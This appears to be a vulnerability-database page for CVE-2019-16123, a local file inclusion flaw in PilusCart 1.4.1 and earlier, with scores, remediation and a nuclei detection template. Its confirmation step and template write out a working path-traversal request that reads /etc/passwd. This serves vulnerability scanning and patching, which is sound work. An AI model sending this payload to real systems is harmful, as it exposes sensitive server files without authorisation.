HexBrain

Browse / CVEs / CVE-2019-16123

CVE-2019-16123· kartatopia / piluscart· CWE-22

PilusCart <=1.4.1 - Local File Inclusion

highseverity
7.5CVSS score
16.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

PilusCart versions 1.4.1 and prior suffer from a file disclosure vulnerability via local file inclusion.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.

Fix

Upgrade to a patched version of PilusCart (>=1.4.2) or apply the vendor-supplied patch to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-16123 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-16123

info:
  name: PilusCart <=1.4.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    PilusCart versions 1.4.1 and prior suffer from a file disclosure vulnerability via local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Upgrade to a patched version of PilusCart (>=1.4.2) or apply the vendor-supplied patch to mitigate the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html
    - https://www.exploit-db.com/exploits/47315
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1653
    - https://zerodays.lol/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16123
    cwe-id: CWE-22
    epss-score: 0.16619
    epss-percentile: 0.97041
    cpe: cpe:2.3:a:kartatopia:piluscart:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kartatopia
    product: piluscart
  tags: cve,cve2019,piluscart,lfi,packetstorm,edb,kartatopia,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from